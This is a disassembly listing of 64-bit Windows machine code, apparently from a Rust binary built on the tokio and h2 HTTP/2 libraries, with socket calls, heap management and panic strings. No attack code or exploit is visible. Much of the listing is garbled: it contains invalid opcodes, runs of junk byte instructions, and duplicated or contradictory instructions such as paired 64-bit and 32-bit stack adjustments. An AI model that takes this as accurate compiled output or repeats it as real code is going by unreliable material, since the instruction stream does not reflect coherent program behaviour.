mov dword [rsp + 0x5c], ebp
cmp dword [rdx], 2
je 0x1400fb3ae
cmp dword [rdx + 0x114], ebp
jne 0x1400fb3ae
mov ebp, dword [rdx + 0x114]
jmp 0x1400fab3c
test byte [rsp + 0x364], 1
je 0x1400fabfd
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x5c], ebp
cmp rcx, r15
jbe 0x1400fb3ae
test r11, r11
je 0x1400fb3ae
cmp dword [r11 + rsi], 2
je 0x1400fb3ae
add r11, rsi
cmp dword [r11 + 0x114], ebp
jne 0x1400fb3ae
cmp dword [r11 + 0x30], 2
jne 0x1400fabae
cmp qword [r11 + 0x38], 0
je 0x1400fabae
lea rcx, [rsp + 0xb0]
call fcn.1400729f0
mov ebp, dword [rax + 0x114]
mov bl, 1
mov r15d, 1
xor esi, esi
jmp 0x1400fac94
lea rcx, [rsp + 0xb0]
call fcn.140074b50
lea rdx, [rax + 0x50]
lea rcx, [rsp + 0x220]
call fcn.1400749a0
movzx ebx, byte [rsp + 0x220]
lea rcx, [rsp + 0x220]
call fcn.140074bf0
cmp bl, 3
jne 0x1400fac79
mov r11, qword [rdi + 0x1a8]
mov rcx, qword [rdi + 0x1b8]
lea rbx, [rsp + 0x5c]
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x5c], ebp
cmp rcx, r15
jbe 0x1400fb3ae
test r11, r11
je 0x1400fb3ae
cmp dword [r11 + rsi], 2
je 0x1400fb3ae
add r11, rsi
cmp dword [r11 + 0x114], ebp
jne 0x1400fb3ae
cmp byte [r11 + 0x128], 0
je 0x1400fad50
lea rcx, [rsp + 0xb0]
call fcn.140074b50
lea rcx, [rax + 0xa0]
mov edx, r12d
call fcn.140070480
test eax, eax
je 0x1400faf0c
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov sil, 1
mov ebp, 3
jmp 0x1400fac8b
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov sil, 1
mov ebp, 1
lea r15, [0x1401d3af8]
xor ebx, ebx
lea rcx, [rsp + 0x358]
mov rax, qword [rsp + 0x340]
mov rdx, qword [rsp + 0x348]
mov r8, r12
call qword [rax + reloc.WS2_32.dll_recv]
test bl, bl
je 0x1400faf9c
lea rbp, [r14 + 0x10]
mov qword [rsp + 0xf0], 0
lea r8, [rsp + 0xf0]
mov rcx, qword [rsp + 0x38]
mov edx, r12d
call fcn.140074ae0
mov rax, qword [rsp + 0xf0]
test rax, rax
je 0x1400facf7
mov rcx, qword [rsp + 0xf8]
call qword [rax + 0x18]
lea rcx, [rdi + 0xb0]
lea rax, [rdi + 0x150]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov edx, r15d
mov r8b, 1
mov r9, rbp
call fcn.1400de450
mov sil, 3
xor ebx, ebx
jmp 0x1400fafb8
mov qword [rsp + 0x220], 0
lea r8, [rsp + 0x220]
mov rcx, qword [rsp + 0x38]
mov edx, r12d
call fcn.140074ae0
mov rax, qword [rsp + 0x220]
add al, byte [rax]
add byte [rax - 0x7b], cl
invalid
je 0x1400fad89
mov rcx, qword [rsp + 0x228]
call qword [rax + 0x18]
mov sil, 3
xor ebx, ebx
jmp 0x1400fac94
call fcn.1401666c0
test al, al
jne 0x1400f8cb5
mov byte [rbx + 8], 1
jmp 0x1400f8cb5
cmp dword [rsp + 0xac], 0x3b9aca00
setne r8b
lea rdx, [rsp + 0x460]
mov rcx, qword [rsp + 0x68]
call fcn.14006f170
movaps xmm0, xmmword [rsp + 0xf0]
add byte [rax], al
movaps xmmword [rsp + 0x70], xmm0
cmp sil, 3
jne 0x1400faee7
add byte [rax], al
mov rdx, qword [rdi + 0x1b8]
mov r8d, r15d
mov r9d, ebp
call fcn.140077160
mov ebx, dword [rax + 0x100]
mov ecx, dword [rax + 0x104]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rax + 0x108]
mov dword [rsp + 0x50], ecx
mov r13d, dword [rax + 0x10c]
mov r14d, dword [rax + 0x110]
mov dword [rax + 0x100], 0
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x348], eax
mov dword [rsp + 0x34c], r12d
mov dword [rsp + 0x34c], esp
mov dword [rsp + 0x34c], esp
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x340], rax
lea rcx, [rsp + 0x340]
call fcn.1400729f0
cmp byte [rax + 0x126], 0
je 0x1400fb0c5
test dh, ah
add dword [rax], eax
invalid
test dh, ah
add dword [rax], eax
add byte [rbp - 0x77], al
hlt
mov r12d, r14d
jmp 0x1400fb146
lea r15, [rsp + 0xb0]
mov rcx, r15
call fcn.140074b50
idiv edi
idiv edi
add dword [rax + 0x11c], r12d
movdqa xmm0, xmmword [rsp + 0x340]
movdqa xmm1, xmmword [rsp + 0x350]
movdqu xmmword [rsp + 0x108], xmm1
or byte [rcx], al
add byte [rax], al
movdqu xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0xf0], 4
and al, 0xf0
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
and al, 0xf0
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
mov rcx, r15
call fcn.140074b50
dec dword [rax - 0x73]
sbb byte [rax - 0x73], cl
push rdi
xor byte [rbp + rcx*4 - 0x7c], cl
and al, 0xf0
add byte [rax], al
add al, ch
rcr byte [rdi + rsi*8 - 0x676b301], 1
dec dword [rax - 0x73]
sbb byte [rax - 0x73], cl
push rdi
xor byte [rbp + rcx*4 - 0x7c], cl
and al, 0xf0
add byte [rax], al
add al, ch
rcr byte [rdi + rsi*8 - 0x676b301], 1
call fcn.140074b50
mov rdx, qword [rax + 0xa8]
nop
test al, 0
add byte [rax], al
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x1400faf99
call qword [rdx + ioctlsocket]
mov sil, 3
mov dh, 3
movabs rbx, 0xffffffff00000000
and rbx, r15
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0xf0], xmm0
mov eax, dword [rsp + 0x50]
cmp eax, 0x3b9aca00
setne r8b
lea rdx, [rsp + 0xb0]
mov rcx, r13
call fcn.14006f170
mov r15d, r15d
or r15, rbx
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xd0], xmm0
cmp byte [rsp + 0x68], 0
jne 0x1400fb005
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fb0a5
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov r14b, 1
lea r12, [0x140204680]
mov r13, qword [rsp + 0x48]
cmp byte [rsp + 0x40], 0
jne 0x1400fb033
movabs rax, 0x200000000
mov qword [r13], rax
add rsp, 0x578
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x340]
call fcn.140074b50
mov byte [rax + 0x126], 1
test ebx, ebx
je 0x1400fb12c
mov dword [rsp + 0xf8], r13d
mov dword [rsp + 0xfc], r14d
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0xf0]
call fcn.140074b50
mov dword [rax + 0xdc], 1
mov r13d, dword [rsp + 0xa0]
mov dword [rax + 0xe0], r13d
mov dword [rax + 0xe4], r12d
jmp 0x1400fb146
mov ebx, 1
mov r13d, dword [rsp + 0xa0]
mov dword [rsp + 0x38], r13d
mov eax, r12d
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0xf8], r15d
mov dword [rsp + 0xfc], ebp
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0xf0], rax
lea r14, [rsp + 0xf0]
mov rcx, r14
call fcn.140074b50
mov dword [rax + 0x100], ebx
mov ecx, dword [rsp + 0x38]
mov dword [rax + 0x104], ecx
mov ecx, dword [rsp + 0x50]
mov dword [rax + 0x108], ecx
mov dword [rax + 0x10c], r13d
mov dword [rax + 0x110], r12d
mov rcx, r14
call fcn.140074b50
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400fb1c6
call qword [rdx + ioctlsocket]
mov r15d, dword [rsp + 0x40]
jmp 0x1400fa70a
call fcn.1401666c0
mov ecx, eax
xor cl, 1
movzx eax, byte [rbx + 8]
test al, al
je 0x1400faa4d
lea rax, [rsp + 0x74]
jmp 0x1400fb245
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rax, [rsp + 0xd4]
mov qword [rsp + 0x460], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x468], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
mov qword [rsp + 0x110], 0
lea rax, [rsp + 0x460]
jmp 0x1400fb384
lea rax, [rsp + 0xd4]
mov qword [rsp + 0x460], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x468], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
mov qword [rsp + 0x110], 0
lea rax, [rsp + 0x460]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0xf0]
call fcn.140160e20
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcprotoconnection.rsmutex_poisoned
mov qword [rsp + 0x20], rax
lea rcx, [0x1401d3a8c]
lea r9, [0x1401d4b58]
lea r8, [rsp + 0xd0]
mov edx, recv
call fcn.140161200
ud2
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0xf0]
call fcn.140160e20
ud2
mov qword [rsp + 0x70], rbx
lea rax, [0x14006a5f0]
mov qword [rsp + 0x78], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], 1
mov qword [rsp + 0x240], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x238], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x220]
call fcn.140160e20
ud2
lea rax, str.pending_ping_should_be_for_shutdown
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0xf0], eax
mov dword [rsp + 0xf0], eax
mov qword [rsp + 0xf8], 1
lea rax, [0x140204680]
mov qword [rsp + 0x100], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0xf0]
call fcn.140161580
ud2
lea rcx, str.received_unexpected_shutdown_ping
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcprotoconnection.rsmutex_poisoned
mov edx, 0x21
call fcn.140163a30
ud2
lea rcx, [0x1401a83af]
lea r8, [0x1401a83e8]
mov edx, 0x39
call fcn.140160fb0
ud2
lea rcx, [0x1401a825e]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i32
mov edx, 0x31
call fcn.140160fb0
ud2
jg 0x1400fb589
invalid
add rsi, 0x2c
mov dword [rsp + 0x460], edi
mov qword [rsp + 0x220], rsi
sub al, 0x89
mov esp, 0x46024
add byte [rax - 0x77], cl
mov ah, 0x24
and byte [rdx], al
add byte [rax], al
lea rax, [0x14006a5f0]
mov qword [rsp + 0x228], rax
lea rcx, [rsp + 0x460]
mov qword [rsp + 0x230], rcx
mov qword [rsp + 0x238], rax
lea rax, str.GOAWAY_stream_IDs_shouldnt_be_higher__last_processed_id____f.last_stream_id___
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x110], 0
lea rax, [rsp + 0x220]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 2
lea rdx, [0x1401a7e18]
lea rcx, [rsp + 0xf0]
call fcn.140160e20
ud2
mov qword [rsp + 0x70], rbx
lea rax, [0x14006a5f0]
mov qword [rsp + 0x78], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], 1
mov qword [rsp + 0x240], 0
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x70]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x238], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x220]
call fcn.140160e20
push rdi
invalid
add byte [rdi], cl
invalid
push rdi
invalid
leave
or byte [rsi + 0x48], ah
movd edx, mm6
test rdx, rdx
jne 0x1400fb6b7
mov qword [rsi], 1
mov qword [rsi + 8], setsockopt
or ecx, 4
mov dword [rsi + 0x34], ecx
mov r8d, 0x81
invalid
add byte [rax], al
invalid
xor al, 0x41
mov eax, 0x81
invalid
add byte [rax], al
invalid
mov edx, 0x30
mov r9, rax
mov ecx, eax
nop dword [rax + rax]
invalid
mov rcx, r8
shr r9, 4
mov r8d, eax
and r8b, 0xf
loopne 0x1400fb6ed
loopne 0x1400fb6ed
cmp r8b, 0xa
mov r10d, 0x57
cmovb r10d, edx
add r10b, r8b
add dl, al
ret 0x8844
mov byte [rsp + rcx + 0x2e], r10b
lea r8, [rcx - 1]
cmp rax, 0x10
cmp eax, 0x10
mov rax, r9
jae 0x1400fb6d0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
ja 0x1400fb757
mov eax, 0x81
sub rax, r8
add rcx, rsp
add rcx, 0x30
xor byte [rax - 0x77], cl
and al, 0x28
xor byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x140204ae8]
add eax, 0x1093ba
mov edx, 0x41001093
mov ecx, 2
mov r9d, 2
mov rcx, rsi
mov dl, 1
call fcn.140059040
push rbx
movq qword [rsi], mm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rdi
pop rsi
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, 0x80
call fcn.140160e60
ud2
mov rdx, rax
mov edx, eax
and rdx, 0xfffffffffffffffa
loop 0x1400fb791
or rdx, 1
mov ecx, eax
shr ecx, 5
and ecx, 1
lock cmpxchg qword [rsi], rdx
je 0x1400fb7d8
invalid
test al, 4
je 0x1400fba42
test al, 3
je 0x1400fb790
invalid
cmp rax, 0x3f
jbe 0x1400fba5c
lea rdx, [rax - 0x40]
cmp rdx, 0x40
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rsi], rdx
jne 0x1400fb7aa
lea rax, [0x14020aa00]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
lea rax, [0x1401e0bc8]
mov qword [rsp + 0x40], rax
and al, 0x40
mov qword [rsp + 0x48], rsi
and al, 0x48
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
cmp dword [rsi + 0x30], 3
jae 0x1400fbaaa
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0xe0]
add byte [rax], al
cmp eax, 1
je 0x1400fb869
xorps xmm6, xmm6
test eax, eax
jne 0x1400fb895
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
xchg al, ah
add byte [rax], al
add byte [rcx], al
xchg al, ah
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x1402153fc]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rbx
add byte [rax], al
add byte [rax - 0x77], cl
cwde
mov eax, 0x48000000
add byte [rax], al
lea rdx, [rsp + 0x38]
add byte [rax], al
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.1400ea9b0
mov ebx, eax
ret
mov eax, dword [0x1402153fc]
dec dword [rcx + 0x52058bc3]
wait
adc dword [rax], eax
ret
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400fb8f4
test eax, eax
jne 0x1400fb90e
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
lea rcx, [rdi + 0x90]
nop
add byte [rax], al
invalid
lea rdx, [0x1401438a0]
adc eax, 0x47fb8
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
lea rdi, [rsi + 0x20]
test bl, bl
je 0x1400fb9f0
and byte [rbx + rbx*8 + 0xd6840f], al
add byte [rax], al
mov rax, qword [rsi]
jmp 0x1400fb93e
cmp ecx, 0x3f
jbe 0x1400fba5c
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rsi], rcx
je 0x1400fb96b
test al, 1
je 0x1400fba76
test byte [rax], dh
add dword [rax], eax
invalid
test al, 0x20
jne case.0x1400f1e0d.30
invalid
mov dl, 1
lock cmpxchg qword [rsi], rcx
jne 0x1400fb93e
cmp dl, 2
je case.0x1400fb7e6.3
movzx eax, dl
cmp eax, 1
jne case.0x1400fb7e6.2
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
add ecx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.14014b800
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400fbae3
jne case.0x1400fb7e6.2
mov rcx, rsi
call fcn.1400fbe80
jmp case.0x1400fb7e6.2
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x50], 4
push rax
add al, 0
add byte [rax], al
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400fc5a0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x58], 1
add byte [rax], al
add bl, ch
invalid
mov qword [rsp + 0x50], 4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400fc5a0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 3
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400fc5a0
mov rcx, rsi
call fcn.1400fbcf0
movaps xmm6, xmmword [rsp + 0xfa0]
add rsp, 0xfb8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_task_state.rs
lea r8, [0x1401e0850]
mov edx, 0x24
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401e0bb0]
mov edx, 0x26
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401e0890]
mov edx, 0x23
call fcn.140160fb0
ud2
mov qword [rsp + 0x20], 0
lea rdx, str.internal_error:_entered_unreachable_code:_unexpected_stage
lea rsi, [rsp + 0x50]
lea r9, [rsp + 0x30]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_taskcore.rs_b
mov rcx, rsi
call fcn.140160e20
ud2
invalid
lodsb al, byte [rsi]
sal ch, 1
dec dword [rax - 0x77]
and al, 0x48
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
and al, 0x58
mov qword [rsp + 0x20], 2
lea rdx, str.current:___sub:___t
lea rsi, [rsp + 0x60]
invalid
lea r9, [rsp + 0x40]
mov r8d, 2
mov rcx, rsi
call fcn.140144a40
lea rdx, [0x1401e0958]
mov rcx, rsi
call fcn.140160e20
ud2
invalid
add byte [rax - 0x77], cl
and al, 0x70
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_taskcore.rs_b
lea rcx, [rsp + 0x60]
call fcn.140160e20
invalid
invalid
add byte [rdi], cl
invalid
or ecx, esp
int3
and r8b, sil
dec qword [rax]
jne 0x1400fbe9d
lea rcx, [rsi + 0x20]
call fcn.1400bbcb0
invalid
dec dword [rax - 0x75]
xor byte [rax - 0x73], r9b
push rcx
std
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmp edx, 2
cmovb rax, rcx
cmp rax, 1
invalid
je 0x1400fbec9
test rax, rax
jne 0x1400fbf06
cmp qword [rsi + 0x38], 0
je 0x1400fbf06
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
jnp case.0x14010324d.166
invalid
je 0x1400fbf06
cmp qword [rbx + 0x10], 0x11
jb 0x1400fbef4
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0xf90]
test rax, rax
je 0x1400fbf1c
mov rcx, qword [rsi + 0xf98]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [0x14020aa10]
movsxd rcx, dword [rax + rcx*4]
invalid
or al, 0x88
add rcx, rax
invalid
jmp rcx
lea rax, [0x1401e0bc8]
add eax, 0xe4c09
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rsi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
cmp dword [rsi + 0x30], 3
jae 0x1400fc273
invalid
add byte [rax - 0x73], cl
jle 0x1400fc011
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x1402153fc]
add eax, 0x119411
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400fc039
xorps xmm6, xmm6
test eax, eax
jne 0x1400fc065
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
xor al, 0xc1
xor al, 0xc1
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
lea edx, [0x1401438a0]
lea edx, [0x1401438a0]
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
sbb al, 3
add byte [rcx - 0x3a], al
xchg al, ah
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x1402153fc]
xchg ebx, eax
adc dword [rax], eax
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xb8], rbx
lea rdx, [rsp + 0x38]
lea edx, [rsp + 0x38]
mov rcx, rdi
call fcn.1400ea9b0
mov ebx, eax
mov eax, dword [0x1402153fc]
invalid
xchg ebx, eax
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0xb6
and al, 0
add byte [rax], al
cmp eax, 1
je 0x1400fc0c4
test eax, eax
jne 0x1400fc0de
invalid
mov eax, dword [0x1402153fc]
xchg ebx, eax
adc dword [rax], eax
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
sbb eax, dword [rbx]
add dh, al
xchg eax, esp
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
lea rdi, [rsi + 0x20]
test bl, bl
je 0x1400fc1b9
mov rax, qword [rsi]
jmp 0x1400fc10e
cmp rcx, 0x3f
jbe 0x1400fc225
add byte [rax], al
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rsi], rcx
mov cl, 0xe
je 0x1400fc13b
test al, 1
je 0x1400fc23f
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
je 0x1400fc0f0
test rcx, rcx
js 0x1400fc259
add rcx, 0x40
mov dl, 1
lock cmpxchg qword [rsi], rcx
jne 0x1400fc10e
cmp dl, 2
je case.0x1400fbfb6.3
jbe 0x1400fc2ac
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400fbfb6.2
mov rcx, rsi
call fcn.1400fc8c0
jmp case.0x1400fbfb6.2
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x50], 4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400fc5a0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x58], 1
jmp 0x1400fc1d8
mov qword [rsp + 0x50], 4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400fc5a0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 3
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400fc5a0
mov rcx, rsi
call fcn.1400fc730
movaps xmm6, xmmword [rsp + 0xfa0]
add rsp, 0xfb8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401e0bb0]
mov edx, 0x26
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401e0b70]
mov edx, 0x2f
call fcn.140160fb0
ud2
mov qword [rsp + 0x20], 0
lea rdx, str.internal_error:_entered_unreachable_code:_unexpected_stage
lea rsi, [rsp + 0x50]
lea r9, [rsp + 0x30]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_taskcore.rs_b
mov rcx, rsi
call fcn.140160e20
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
int3
add al, 0x48
mov edi, dword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0xf90]
test rax, rax
je 0x1400fc95c
mov rcx, qword [rsi + 0xf98]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, edx
mov rdi, rcx
mov rcx, qword [rcx]
mov rax, qword [rdi + 8]
call qword [rax + 0x20]
mov rbx, qword [rdi + 0x10]
mov rdi, qword [rdi + 0x20]
test rbx, rbx
je 0x1400fcf8b
test rdi, rdi
je 0x1400fcf90
js 0x1400fd003
movzx eax, byte [0x1402153f8]
adc dword [rax], eax
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400fcf69
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
adc eax, 0x6b0d6
test rax, rax
je 0x1400fcf7c
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x1400fcf96
mov ecx, 1
mov rdx, rdi
call fcn.14015d7f0
or byte [rsi], al
add byte [rdi], cl
invalid
or byte [rsi], al
add byte [rdi], cl
or eax, dword [rbp + 0x31]
imul bl
adc al, 0x41
mov esi, 1
xor r14d, r14d
jmp 0x1400fcfa4
mov r14d, 1
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x38]
and al, 0x38
